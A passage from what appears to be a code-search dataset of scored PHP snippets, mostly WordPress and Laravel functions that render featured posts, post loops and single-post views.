$dynamic_featured_image->get_featured_images(get_the_ID());\n $key=0;\n foreach($featured_images as $featured_image) { ?>\n <div class=\"fa-gallery-img <?= ( ($key+1) === 1 )? 'active': '' ?>\">\n <img src=\"<?= $featured_image['full']; ?>\" alt=\"Article Image\">\n </div>\n <?php }\n $key=0; ?>\n </div>\n <div class=\"featured-details\">\n <h4><?= the_title(); ?></h4>\n <?= the_excerpt(); ?>\n <a href=\"<?= get_permalink(); ?>\">Read More</a>\n </div> \n </div>\n <?php endwhile;\n wp_reset_postdata();\n ?>\n\n </div>\n\n</section>\n\n\n <?php\n }", "title": "" }, { "docid": "d64ada422832ebea486d45e95fdbb12b", "score": "0.67367", "text": "function pwps_the_loop() {\n\t\twhile ( have_posts() ) : the_post();\n\n\t\t\tget_template_part( 'content', 'loop' );\n\n\t\tendwhile;\n\t}", "title": "" }, { "docid": "eaaeac4c92168fba8f4b11b41a02fbba", "score": "0.6715782", "text": "public function show(Featured $featured)\n {\n //\n }", "title": "" }, { "docid": "b9f04c687c1b8a99fec39f70eeb4df8e", "score": "0.6714121", "text": "public function get_featured_content(){\n\t\tglobal $mustache;\n\t\t$return = array();\n\t\t$return['type'] = get_post_meta($this->ID, 'type', true);\n\t\tif($return['type'] == 'gallery'){\n\t\t\treturn $this->get_acf_gallery_shortcode($this->ID);\n\t\t}\n\t\telse if($return['type'] == 'vimeo'){\n\t\t\t$this->post->vimeo_id = get_post_meta($this->ID, 'vimeo_video_id', true);\n\t\t\tif($this->post->vimeo_id){\n\t\t\t\t$template = $mustache->loadTemplate('vimeo-video');\n\t\t\t\treturn $template->render($this->post);\n\t\t\t}\n\t\t}\n\t\telse if($return['type'] == 'youtube'){\n\t\t\t$this->post->youtube_id = get_post_meta($this->ID, 'youtube_video_id', true);\n\t\t\tif($this->post->youtube_id){\n\t\t\t\t$template = $mustache->loadTemplate('youtube-video');\n\t\t\t\treturn $template->render($this->post);\n\t\t\t}\n\t\t}\n\t\telse if($this->post->featured_image){\n\t\t\t// If none of this works, render the featured image\n\t\t\t$template = $mustache->loadTemplate('featured-image');\n\t\t\treturn $template->render($this->post);\n\t\t}\n\t}", "title": "" }, { "docid": "1c5801b094c2ff0fb775ef148e457b6b", "score": "0.6512331", "text": "function poco_homepage_content() {\n while (have_posts()) {\n the_post();\n\n get_template_part('content', 'homepage');\n\n } // end of the loop.\n }", "title": "" }, { "docid": "df97553cb94886bf1011b3aad648f5e0", "score": "0.647103", "text": "public function index()\n {\n $featured_post = Post::featurePost()->take(3)->get();\n $new_post = Post::newPost()->paginate(15);\n\n return view('pages.home', compact('featured_post', 'new_post'));\n }", "title": "" }, { "docid": "b9c385ee1d4a1283fe71fb0e375d3223", "score": "0.64685464", "text": "function featuredposts() {\r\n // the query\r\n $the_query = new WP_Query( array( 'category_name' => 'featured', 'posts_per_page' => 2 ) ); \r\n // the loop\r\n if ( $the_query->have_posts() ) {\r\n\t while ( $the_query->have_posts() ) {\r\n\t\t $the_query->the_post();\r\n $date_format = 'l, F j, Y';\r\n $post_number = $the_query->current_post +1;\r\n\t\t\t $string .= '<article class=\"featured-post post-' . $post_number . ' bg-white center-x shadow\">\r\n <section class=\"featured-title\">\r\n <h3><a href=\"' . get_the_permalink() .'\" rel=\"bookmark\" class=\"serif\">' . get_the_title() .'</a></h3>\r\n <span class=\"small\">' . get_the_date($date_format) . '</span> \r\n </section>\r\n <section class=\"featured-content\"><span>' . get_the_excerpt() . '</span> <a href=\"' . get_the_permalink() .'\" rel=\"bookmark\" class=\"more-link\">read post <i class=\"fa fa-chevron-right\" aria-hidden=\"true\"></i></a>\r\n </section>\r\n </article>';\r\n\t\t}\r\n } else {\r\n\t // no posts found\r\n }\r\n return $string;\r\n wp_reset_postdata();\r\n}", "title": "" }, { "docid": "d6e5fca9cab93c98057c16051562e5fe", "score": "0.6450374", "text": "function instapress_content_feed( $content ) {\n global $post;\n\n if ( has_post_thumbnail( $post->ID ) ) {\n $content = get_the_post_thumbnail( $post->ID, 'featured' );\n }\n\n return $content;\n}", "title": "" }, { "docid": "ed7c1c86f47297d27250d6c0531654ef", "score": "0.63727206", "text": "public function featured()\n {\n $products_list = Product::where('featured', '=', 1)\n ->orderBy('product_name', 'desc')\n ->get();\n $section = 'featured';\n return view('admin.products.homePageProducts', compact('products_list', 'section'));\n }", "title": "" }, { "docid": "ebd467c449f11931937ee86ee1f9c7d9", "score": "0.63693863", "text": "protected function category_featured_article()\n\t{\n\t\t/* Get model */\n\t\t$itemsModel = $this->getModel('items');\n\t\t$itemsModel->set('category', $this->_category);\n\n\t\t/* Get data */\n\t\t$featuredArticle = $itemsModel->getIndexFeatured('article');\n\t\t$link = Uri::build($featuredArticle);\n\t\t$rating = $featuredArticle->rating;\n\n\t\t/* Load template */\n\t\tinclude(BLUPATH_TEMPLATES . '/category/landing/featured_article.php');\n\t}", "title": "" }, { "docid": "50e8a84a0e0ff40ab9156a10ade036c3", "score": "0.63058925", "text": "public function zl_slider(){\n\t\t\tif( function_exists('zl_option') && function_exists('vp_option') ){\n\t\t\t\t$show_featured = zl_option('show_featured');\n\t\t\t}\n\t\t\tif( 1 == $show_featured ){\n\t\t\t\tget_template_part('inc/parts/featured');\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "f586983020a676d8a54c7e28c8923090", "score": "0.6284388", "text": "public function metaBoxFeaturedPostRender($post)\n\t{\n\t\t$meta = $this->getMeta($post->ID);\n\t\t$url = get_post_meta($post->ID, 'destination_url', true);\n\n\t\twp_nonce_field( 'featured_post_box', 'featured_post_box_nonce' );\n\t\t?>\t\n\t\t<div class=\"gcslider\">\n\t\t\t<p>\n\t\t\t\t<label for=\"featured_post_featured_post\"><?php _e('Featured post ( on the front page )'); ?>:</label>\n\t\t\t\t<input type=\"hidden\" name=\"featured_post\" value=\"off\">\n\t\t\t\t<input type=\"checkbox\" name=\"featured_post\" id=\"featured_post_featured_post\" <?php echo $this->checked($meta); ?> >\t\t\t\t\n\t\t\t</p>\t\t\t\n\t\t\t<p>\n\t\t\t\t<label for=\"destination_url\"><?php _e('Destination url'); ?>:</label>\n\t\t\t\t<input type=\"text\" name=\"destination_url\" value=\"<?php echo $url; ?>\">\t\n\t\t\t</p>\t\t\t\n\t\t</div>\t\n\t\t<?php\n\t}", "title": "" }, { "docid": "993d585da44098ac5f76fd4992277bb5", "score": "0.62809485", "text": "function studio_display_featured_image() {\n\n\t// Check display featured image option.\n\t$genesis_settings = get_option( 'genesis-settings' );\n\n\tif ( ( ! is_archive() && ! is_home() && ! is_page_template( 'blog-masonry.php' ) ) || ( 1 !== $genesis_settings['content_archive_thumbnail'] ) ) {\n\t\treturn;\n\t}\n\n\t// Display featured image.\n\tadd_action( 'genesis_entry_header', 'genesis_do_post_image', 1 );\n}", "title": "" }, { "docid": "7cc1471408751c9ac3d57fd1cffc084c", "score": "0.6268454", "text": "public function display() {\r\n\t\t$args = array(\r\n\t\t\t'post_type' => $this->settings['post_type'],\r\n\t\t\t'posts_per_page' => $this->settings['num'],\r\n\t\t\t'post_status' => $this->settings['post_status'],\r\n\t\t\t'orderby' => $this->settings['orderby'],\r\n\t\t\t'order' => $this->settings['order'],\r\n\t\t);\r\n\r\n\t\t$posts = get_posts( $args );\r\n\r\n\t\t$this->settings['options'] = array();\r\n\t\tforeach ( $posts as $post ) {\r\n\t\t\t$title = $post->post_title;\r\n\t\t\tif ( empty( $title ) ) {\r\n\t\t\t\t$title = sprintf( __( 'Untitled %s', TF_I18NDOMAIN ), '(ID #' . $post->ID . ')' );\r\n\t\t\t}\r\n\t\t\t$this->settings['options'][ $post->ID ] = $title;\r\n\t\t}\r\n\r\n\t\tparent::display();\r\n\t}", "title": "" }, { "docid": "603d008b29e97a6f97bcf150c8b8aed8", "score": "0.62642473", "text": "protected function _content_template() {\n ?>\n \n\n <section class=\"featured-section\">\n <div class=\"featured-video\">\n\n <div class=\"preview\">\n <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\">\n <path\n d=\"M371.7 238l-176-107c-15.8-8.8-35.7 2.5-35.7 21v208c0 18.4 19.8 29.8 35.7 21l176-101c16.4-9.1 16.4-32.8 0-42zM504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256z\" />\n </svg>\n <img src=\"{{ settings.video_image.url }}\" alt=\"\">\n </div>\n\n <video id=\"featured-video\">\n <source src=\"{{ settings.video_link.url }}\" type=\"video/mp4\">\n Your browser does not support the video tag.\n </video>\n\n </div>\n\n <div class=\"featured-articles-wrapper\">\n\n\n <div class=\"featured-article\">\n\n <div class=\"featured-article-gallery\">\n <div class=\"fa-gallery-img active\">\n <img src=\"./assets/images/featured/1.jpg\" alt=\"Article Image\">\n </div>\n <div class=\"fa-gallery-img\">\n <img src=\"./assets/images/featured/2.jpg\" alt=\"Article Image\">\n </div>\n </div>\n\n <div class=\"featured-details\">\n <h4>Featured Title</h4>\n <p>Lorem ipsum dolor sit amet consectetur adipisicing elit. Quos...\n <a href=\"#\">Read More</a>\n </p>\n </div>\n </div>\n\n\n </div>\n\n</section>\n\n<?php\n }", "title": "" }, { "docid": "0ee4e81104b044f93a9133fc485b1de1", "score": "0.62501436", "text": "function shepherd_get_featured_posts() {\n return apply_filters( 'shepherd_get_featured_posts', array() );\n}", "title": "" }, { "docid": "530e69469d43036e7cb6b641c53985bc", "score": "0.6212445", "text": "public function display()\n {\n \\OWeb\\manage\\Events::getInstance()->sendEvent('DisplayContent_Start@OWeb\\manage\\Template');\n echo $this->content;\n \\OWeb\\manage\\Events::getInstance()->sendEvent('DisplayContent_End@OWeb\\manage\\Template');\n }", "title": "" }, { "docid": "2c4be7245c967f2407e3cd6b9ae4e682", "score": "0.6175707", "text": "public function render_single_story_content();", "title": "" }, { "docid": "dcfdf381361ce95ff7899513f942afa3", "score": "0.61712617", "text": "function ft_register_widget_featured_content() {\n\tregister_widget( 'FT_Widget_Featured_Content' );\n}", "title": "" }, { "docid": "071397842b554c67335a9c3906fca3f9", "score": "0.61708564", "text": "public function the_content() {\n $this->theme_content->the_content();\n }", "title": "" }, { "docid": "fb4e242388ea94f155dc6f931f1ee5ed", "score": "0.6165559", "text": "function front_news_landing_feature() {\n//$latest_feature_id = get_post_meta(get_the_id(), 'latest_feature', TRUE); \n//$feature = get_post($latest_feature_id);\n\n$args = array('posts_per_page' => 1,\n 'post_type' => 'news');\n \n$features = new WP_Query($args);\n//echo '<pre>'; print_r($features->posts); echo '</pre>';\n//echo $features->posts[0]->ID;\nwhile( $features->have_posts() ) : $features->the_post();?>\n\n\n<div class=\"stage purplegrad\" style=\"padding: 20px; box-sizing: border-box; margin-bottom: 10px;\">\n\t<h1 class=\"purple emboss\">Latest</h1>\n\t <div class=\"fl\" style=\"margin: 0 20px 20px 0;\"><a href=\"<?php the_permalink(); ?>\"><?php echo get_intro_image(get_the_ID()); ?></a></div>\n\t\t<h2 style=\"color: white;\"><a href=\"<?php the_permalink(); ?>\"><?php the_title(); ?></a></h2>\n\t\t<p style=\"color: white !important;\"><?php the_excerpt(); ?></p>\n\t\t<div class=\"clear\"></div>\n</div>\n\n\n<?php endwhile; wp_reset_postdata(); }", "title": "" }, { "docid": "3224e380846e08e6dcb8e0525527075a", "score": "0.6163708", "text": "public function show($id)\n {\n $post = Post::where('id', $id)\n ->published()\n ->firstOrFail();\n\n $lastPosts = Post::published()\n ->where('id', '<>', $id)\n ->orderBy('created_at', 'desc')\n ->limit(Post::LIMIT_LAST_NEWS)\n ->get();\n\n $dayNews = Post::where('featured', 1)\n ->published()\n ->orderBy('created_at', 'desc')\n ->get();\n\n return view('post.show', compact('post', 'lastPosts', 'dayNews'));\n }", "title": "" }, { "docid": "807a2fdc07ee731a545fd8b0a819b95f", "score": "0.61325747", "text": "public function showAction(Post $post) {\n\t\t$this->view->assignMultiple([\n\t\t\t'post' => $post,\n\t\t\t'nextPost' => $this->postRepository->findNext($post),\n\t\t\t'previousPost' => $this->postRepository->findPrevious($post),\n\t\t]);\n\t}", "title": "" }, { "docid": "8d528124374b3c5b0c8b8ad1702df171", "score": "0.61242616", "text": "public function getFeaturedPosts()\n\t{\n\t\t$out = '';\n\t\t$items = $this->getItems();\n\t\t\n\t\tfor ($i=0; $i < count($items); $i+=3) \n\t\t{ \n\t\t\t$out.= '<div class=\"columns cf relative\">';\n\t\t\tfor ($j=0; $j < 3; $j++) \n\t\t\t{ \t\t\t\t\n\t\t\t\t$index = $i + $j;\n\t\t\t\tif(isset($items[$index]))\n\t\t\t\t{\t\n\t\t\t\t\t$url = ($items[$index]->destination_url != '') ? $items[$index]->destination_url : $items[$index]->permalink;\n\t\t\t\t\t$out.= '<div class=\"column\">';\n\t\t\t\t\t$out.= '<div class=\"image\">';\n\t\t\t\t\t$out.= '<a href=\"'.$url.'\"><img src=\"'.$items[$index]->image.'\" alt=\"\"></a>';\n\t\t\t\t\t$out.= '</div>';\n\n\t\t\t\t\t$out.= '<p>'.$this->getAnons($items[$index]->post_content).'</p>';\n\t\t\t\t\t$out.= '<a href=\"'.$url.'\" class=\"link-arrow-big pc-visible learn-more-bottom\">Learn More</a>';\n\t\t\t\t\t$out.= '</div>';\t\n\t\t\t\t}\n\t\t\t}\n\t\t\t$out.= '</div>';\n\t\t}\n\t\treturn $out;\n\t}", "title": "" }, { "docid": "0e5f45a4ff862e8e4fe8aa21ca7f3518", "score": "0.60843754", "text": "public function index()\n {\n\n $featured = Featured::leftJoin('product', 'product.id', '=', 'featured.product_id')\n ->select('featured.*', 'product.title as ptitle')\n ->get();\n\n return view('admin/featured/list', compact('featured'));\n }", "title": "" }, { "docid": "111908d0e4562abc5afb311b670d6e5e", "score": "0.6069286", "text": "public function my_posts_content() {\n\t\t// BP helper function to get the \"displayed\" user\n\t\t$user_id = bp_displayed_user_id();\n\n\t\t$posts_query = new WP_Query( array(\n\t\t\t'author' => $user_id,\n\t\t\t'post_type' => array(\n\t\t\t\t'post',\n\t\t\t\t'page',\n\t\t\t),\n\t\t\t'post_status' => 'publish',\n\t\t\t'posts_per_page' => '-1',\n\t\t) );\n\n\t\tif ( $posts_query->have_posts() ) {\n\t\t\techo '<ul>';\n\n\t\t\twhile ( $posts_query->have_posts() ) {\n\t\t\t\t$posts_query->the_post();\n\n\t\t\t\tprintf(\n\t\t\t\t\t'<li><a href=\"%s\">%s</a> - %s',\n\t\t\t\t\tesc_url( get_the_permalink( get_the_ID() ) ),\n\t\t\t\t\tesc_html( get_the_title() ),\n\t\t\t\t\tesc_html( get_the_date() )\n\t\t\t\t);\n\t\t\t}\n\n\t\t\techo '</ul>';\n\t\t}\n\t}", "title": "" }, { "docid": "16307af8723870e77fe49f21a6f5a92e", "score": "0.6061909", "text": "public static function show($postsgiven) {\n\t\tforeach ($postsgiven as $thread) {\n\t\t\techo \"<ul class = 'forum-post'>\n\t\t\t\t\t<li class = 'forum-post-id'><b>Thread #</b>\" . $thread->id . \"</li>\n\t\t\t\t\t<li class = 'forum-post-title'><b>Title: </b>\" . $thread->title . \"</li>\n\t\t\t\t\t<li class = 'forum-post-content'>\n\t\t\t\t\t\t<p>\" . nl2br($thread->content, 1) . \"</p>\n\t\t\t\t\t</li>\n\t\t\t\t</ul>\";\n\t\t};\n\t}", "title": "" }, { "docid": "0a0f9892af3dd1658c5254225d8fefd0", "score": "0.60523933", "text": "function twentyfourteen_get_featured_posts() {\n /**\n * Filter the featured posts to return in Twenty Fourteen.\n *\n * @since Twenty Fourteen 1.0\n *\n * @param array|bool $posts Array of featured posts, otherwise false.\n */\n return apply_filters( 'twentyfourteen_get_featured_posts', array() );\n}", "title": "" }, { "docid": "7de8751e625415cd185bfaa2a21381f4", "score": "0.60482013", "text": "public function index()\n {\n $featureds = Featured::orderBy('id', 'desc')->paginate(10);\n return view('admin.pages.product.featured')->withFeatureds($featureds);\n }", "title": "" }, { "docid": "215bf8f3ed6be7975dd5a930864b7ce3", "score": "0.6046688", "text": "function featured_posts($args = NULL) {\n if (!$args['number_of_posts']) {\n $args['number_of_posts'] = get_field('#_of_featured_posts');\n }\n\n if (!$args['filter_by']) {\n $args['filter_by'] = get_field('filtered_by');\n }\n\n if (!$args['selection']) {\n $args['selection'] = get_field('filter_selection');\n }\n\n ?>\n<div class=\"<?php if (is_home()) { echo 'streak__heading';} else {echo 'featured-resources__heading';} ?>\">\n <h2 class=\"<?php if (is_home()) { echo 'streak__heading--main';} else {echo 'heading__2 heading__2--white';} ?>\">\n Featured <span>Resources</span></h2>\n <p class=\"subheading subheading--white\">Blog posts authored by Jameel with easy-to-navigate table of content</p>\n</div>\n<div class=\"featured-resources__container\">\n <?php\n // Show first three featured resources\n $featured = new WP_Query(array( 'posts_per_page'=> $args['number_of_posts'], $args['filter_by'] => $args['selection'] ));\n if( $featured->have_posts() ):\n while( $featured->have_posts() ):\n $featured->the_post();\n get_template_part('template-parts/content', 'featured'); \n endwhile;\n wp_reset_postdata();\n endif;\n ?>\n</div>\n\n<a href=\"<?php if (is_home()) { echo esc_url( site_url( '/resources-all' ));} else {echo esc_url( site_url( '/resources' ) );} ?>\"\n class=\"btn btn__cta\">\n <?php if (is_home()) {\n echo 'See all my resources&nbsp;';\n } else {\n echo 'See more resources&nbsp;';\n }\n\n // Display circle right svg icon\n echo svg_icon('btn__icon--white', 'circle-right'); ?>\n</a>\n<?php }", "title": "" }, { "docid": "e720f4d18a3764cd693bd9feda352b60", "score": "0.60449636", "text": "protected function render() {\n\t\t$settings = $this->get_settings_for_display();\n\n\t\t$postId = get_the_ID();\n\t\t$categories = get_categories(['hide_empty' => false]);\n\t\t$postCategory = get_the_category();\n\t\t?>\n\t\t<div class=\"post-single-widget\">\n\t\t\t<div class=\"content-inner withPadding\">\n\t\t\t<div class=\"post-category-block\">\n\t\t\t\t<ul id=\"post-category-nav\">\n\t\t\t\t\t<li><a href=\"<?= get_site_url(null, '/articles' ); ?>\">ALL POSTS</a></li>\n\t\t\t\t\t<?php foreach($categories as $cat): ?>\n\t\t\t\t\t\t<li <?= ($postCategory[0]->slug == $cat->slug)?'class=\"actived\"': '' ?>>\n\t\t\t\t\t\t\t<a href=\"<?= get_site_url(null, '/articles' ).\"?type=\".$cat->slug; ?>\"><?= $cat->name; ?></a>\n\t\t\t\t\t\t</li>\n\t\t\t\t\t<?php endforeach; ?>\n\t\t\t\t</ul>\n\t\t\t</div>\n\t\t\t<div class=\"post-single-body\">\n\t\t\t\t<div class=\"content-inner withPadding\">\t\n\t\t\t\t\t<div class=\"post-single-inner\">\n\t\t\t\t\t\t<div class=\"post-single-toolbar\">\n\t\t\t\t\t\t\t<div class=\"tb-left\">\n\t\t\t\t\t\t\t\t<a href=\"<?= get_site_url(null, '/articles' ).\"?type=\".$postCategory[0]->slug; ?>\"><i class=\"fa fa-arrow-left\"></i> GO BACK</a>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<div class=\"tb-right\">\n\t\t\t\t\t\t\t<?php\t\t\t\t\n\t\t\t\t\t\t\t\tthe_post_navigation(\n\t\t\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t\t\t'next_text' => '<span class=\"meta-nav\" aria-hidden=\"true\">Next <i class=\"fa fa-arrow-right\"></i></span>',\n\t\t\t\t\t\t\t\t\t\t'prev_text' => '<span class=\"meta-nav\" aria-hidden=\"true\"><i class=\"fa fa-arrow-left\"></i> Prev</span>',\n\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"post-body text-wysiwyg\">\n\t\t\t\t\t\t\t<?= $settings['content']; ?>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"post-share\">\n\t\t\t\t\t\t\t<a href=\"#\" class=\"b-btn\">SHARE</a>\n\t\t\t\t\t\t\t<ul class=\"post-social\">\n\t\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t\t<a href=\"#\"><i class=\"fa fa-facebook\"></i></a>\n\t\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t\t<a href=\"#\"><i class=\"fa fa-instagram\"></i></a>\n\t\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t\t<a href=\"#\"><i class=\"fa fa-linkedin\"></i></a>\n\t\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t\t<a href=\"#\"><i class=\"fa fa-twitter\"></i></a>\n\t\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t\t<a href=\"#\"><i class=\"fa fa-pinterest-p\"></i></a>\n\t\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\n\n\t\t\t\t\t<?php\n\t\t\t\t\t\t// If comments are open or we have at least one comment, load up the comment template.\n\t\t\t\t\t\tif ( comments_open() || get_comments_number() ) {\n\t\t\t\t\t\t\tcomments_template();\n\t\t\t\t\t\t}\t\n\t\t\t\t\t?>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t\t<?php\n\t}", "title": "" }, { "docid": "b2d7ca28de9db00f78356f8875e36c6f", "score": "0.59873104", "text": "function shepherd_get_featured_content_post_bg(){\n\t$featured_content = shepherd_get_featured_posts();\n\n\tif( $featured_content && is_array( $featured_content ) ):\n\n\t\t$post_ID = $featured_content[0]->ID;\n\n\t\tif( has_post_thumbnail( $post_ID ) ){\n\t\t\t$image_id = get_post_thumbnail_id( $post_ID );\n\n\t\t\t$featured_image_bg = wp_get_attachment_image_src( $image_id, 'original', true );\n\t\t\t$featured_image_bg = $featured_image_bg[0];\n\n?>\n<style id=\"shepherd-featured-content\">\n.featured-content{\n\tbackground-image: url(<?php echo $featured_image_bg; ?>);\n}\n</style>\n<?php\n\t\t}\n\tendif;\n\n}", "title": "" }, { "docid": "f7be8838add3bc04566f8fd1a2566796", "score": "0.5987226", "text": "public function show($id) {\n\t\t$post = Post::findOrFail($id);\n\t\t$comments = Comment::with('post_id', '=', $id);\n\t\t\n\t\t// Show feed data\n//\t\t// GetStream-Laravel\n//\t\t$user_id = Auth::id();\n//\t\t$feed = FeedManager::getUserFeed('cjsimon');\n//\t\t$enricher = new Enrich;\n//\t\t$feed_activities = $feed->getActivities(0, 25); // Not retrieving anything\n//\t\t$activities = $feed_activities['results'];\n//\t\t$activities = $enricher->enrichActivities($activities);\n\t\t\n\t\t// PHP GetStream Library\n\t\t$activities = self::$client->feed('post', $post->id)->getActivities();\n\t\t$activities = $activities['results'];\n\t\t\n\t\treturn View('posts.show')\n\t\t\t->with('post', $post)\n\t\t\t->with('comments', $comments)\n\t\t\t->with('activities', $activities);\n\t}", "title": "" }, { "docid": "929ae2dcc3dc8abfb6b5161949906722", "score": "0.5968638", "text": "public function single_player_page()\n {\n\n add_action(\n 'pre_get_posts',\n function (WP_Query $q) {\n if (!is_admin() && $q->is_main_query() && $q->is_search()) {\n\n if (have_posts()) :\n?>\n <div>\n <?php\n while (have_posts()) : the_post();\n echo '<h2>' . the_title() . '</h2>';\n endwhile;\n ?>\n </div>\n<?php\n endif;\n }\n }\n );\n }", "title": "" }, { "docid": "79ba8c9494f15e849c0c6067831f09a2", "score": "0.5961256", "text": "public function show()\n {\n // $currentUrl = url()->current(); // provavelmente useless, mas oh well\n\n $category_id = $_GET['category'];\n $post_id = $_GET['post'];\n\n \n\n return view('posts/postpage')->with('post', Post::find($post_id))->with('category', Category::find($category_id))\n ->with('comments', Comment::all()->where('original_post', $post_id));\n }", "title": "" }, { "docid": "b2a5aa21297fe4b56e28b8579d38c8ee", "score": "0.5957056", "text": "public function show (Post $post)\n {\n //\n }", "title": "" }, { "docid": "40f33280aa7448b79642442d58089236", "score": "0.5956387", "text": "public function preview() {\n\n\t\t$context = Timber::get_context();\n\n\t\t$context['post'] = new TimberPost($this->id);\n\t\t$context['document'] = $this->document;\n\t\t$context['template'] = $this->template;\n\t\t$context['block'] = $this;\n\n\t\t$this->render_template('preview.twig', $this->render($context));\n\t}", "title": "" }, { "docid": "6d02250d5d0c704f8353b9ffd6739695", "score": "0.59543645", "text": "public function display() {\n\n\t\t$context = Timber::get_context();\n\n\t\t$id = $this->id;\n\n\t\tif (is_admin() === false && is_preview() === false && $this->revision) {\n\t\t\t$id = $this->revision;\n\t\t}\n\n\t\t$context['post'] = new TimberPost($id);\n\t\t$context['document'] = $this->document;\n\t\t$context['template'] = $this->template;\n\t\t$context['block'] = $this;\n\n\t\t$this->render_template('block.twig', $this->render($context));\n\t}", "title": "" }, { "docid": "48e75d38a141061b6ff291e2ea72980c", "score": "0.5951739", "text": "function ppo_get_featured_posts() {\n /**\n * Filter the featured posts to return in Twenty Fourteen.\n *\n * @param array|bool $posts Array of featured posts, otherwise false.\n */\n return apply_filters( 'ppo_get_featured_posts', array() );\n}", "title": "" }, { "docid": "22817c0bbc3581a1f383ed1fffe3a4a7", "score": "0.5947333", "text": "public function view($id = FALSE)\n {\n $data['post'] = $this->post->get_posts($id);\n\n\n if (empty($data['post'])) {\n show_404();\n }\n\n $data['title'] = $data['post']['title'];\n\n $this->load->view('templates/header', $data);\n $this->load->view('posts/view', $data);\n $this->load->view('templates/footer');\n }", "title": "" }, { "docid": "f50745d68b50bef93ff049dabacee7e6", "score": "0.5939236", "text": "public function featuredPosts()\n {\n return Post::where('featured', 1)->orderBy('order', 'asc')->get();\n }", "title": "" }, { "docid": "4e744e2415f34292e501b629b4e3bc71", "score": "0.5931702", "text": "function cp_add_listing_item_featured() {\n\n\t// Only show on archive pages.\n\t// Category, Author, Listing Post Types, Listing Search, etc.\n\tif ( ! is_archive() ) {\n\t\treturn;\n\t}\n\n\tif ( ! is_sticky() ) {\n\t\treturn;\n\t}\n\n\techo '<span class=\"featured-label warning label\">' . __( 'Featured', APP_TD ) . '</span>';\n}", "title": "" }, { "docid": "be8fb01961c229ea2774ee489a4f124c", "score": "0.59255505", "text": "public function showContent() {\n\t\trequire($this->contentPage);\t\t\n\t}", "title": "" }, { "docid": "8a20ee62c1a344aaab8c19bc98bedae1", "score": "0.5922238", "text": "function fxm_content_page_loop() {\n\tdo_action( 'fxm_content_page_loop' );\n}", "title": "" }, { "docid": "26581a7f203cb9187d0efd4cae86ec55", "score": "0.5920406", "text": "public function show($id)\n {\n $post = $this->postRepository->findOrFail($id);\n\n return $this->render('pulse::backend.posts.show');\n }", "title": "" }, { "docid": "bf5bdeb78ebaaf6374ae7a89abe00b4d", "score": "0.5919544", "text": "public function show(Post $post) {\n //\n }", "title": "" }, { "docid": "cfd74780b3c12a04869c347903bedbd5", "score": "0.5918416", "text": "public function show(Post $post)\n {\n \n }", "title": "" }, { "docid": "6b881edaa69f60b7bdc9ad24dadc65ff", "score": "0.59158695", "text": "public function show(post $post)\n {\n //\n }", "title": "" }, { "docid": "8cf60193bbde49de1a8f5aa3ae3b8c3c", "score": "0.59014004", "text": "public function show($id = '')\n {\n // Collecting all our info from all our tables for the show view\n $post = $this->postModel->getPostById($id);\n // No ID redirect\n if (empty($id)) {\n redirect('Stories');\n }\n $data =\n [\n 'title' => $post->ps_title . ' | ' . $post->ps_sub_title . ' | Stories',\n 'siteName' => $this->site->site_name,\n 'siteDesc' => $post->site->site_desc,\n 'siteWelcome' => $this->site->site_welcome,\n 'siteImg' => $this->site->site_logo,\n 'creator' => $this->site->site_contact_name,\n 'ogImg' => $post->ps_img,\n 'post' => $post,\n 'slider' => $this->slider,\n 'flex' => $this->flex,\n 'social' => $this->socials\n ];\n\n\n $this->standardHeader($data);\n $this->standardNav();\n $this->view('stories/show', $data);\n $this->standardFooter();\n }", "title": "" }, { "docid": "319f645204ec1a4e8db809dbb2d3eaeb", "score": "0.5894546", "text": "function render_featured_collection(array $ctx, array $fc)\n {\n if(empty($fc))\n {\n return;\n }\n\n global $baseurl_short, $lang, $k, $flag_new_themes, $flag_new_themes_age;\n\n $is_smart_featured_collection = (isset($ctx[\"smart\"]) ? (bool) $ctx[\"smart\"] : false);\n $full_width = (isset($ctx[\"full_width\"]) && $ctx[\"full_width\"]);\n $general_url_params = (isset($ctx[\"general_url_params\"]) && is_array($ctx[\"general_url_params\"]) ? $ctx[\"general_url_params\"] : array());\n $show_resources_count = (isset($ctx[\"show_resources_count\"]) ? (bool) $ctx[\"show_resources_count\"] : false);\n\n\n $html_container_class = array(\"FeaturedSimplePanel\", \"HomePanel\", \"DashTile\", \"FeaturedSimpleTile\");\n $html_container_style = array();\n\n\n // Set main featured collection URL (e.g for collections it's the !collection[ID], for categories it's for collection_featured.php)\n $html_fc_a_href = generateURL(\"{$baseurl_short}pages/search.php\", $general_url_params, array(\"search\" => \"!collection{$fc[\"ref\"]}\"));\n $html_fc_a_href = (isset($ctx[\"href\"]) && trim($ctx[\"href\"]) !== \"\" ? $ctx[\"href\"] : $html_fc_a_href);\n\n\n $html_contents_class = array(\"FeaturedSimpleTileContents\");\n $html_contents_icon = (isset($ctx[\"icon\"]) && trim($ctx[\"icon\"]) != \"\" ? $ctx[\"icon\"] : ICON_CUBE);\n $fc_display_name = strip_prefix_chars(i18n_get_collection_name($fc),\"*\");\n \n $html_contents_h2 = $html_contents_icon . $fc_display_name;\n $html_contents_h2_style = array();\n if(!$is_smart_featured_collection && $flag_new_themes && (time() - strtotime($fc[\"created\"])) < (60 * 60 * 24 * $flag_new_themes_age))\n {\n $html_contents_h2 .= sprintf(' 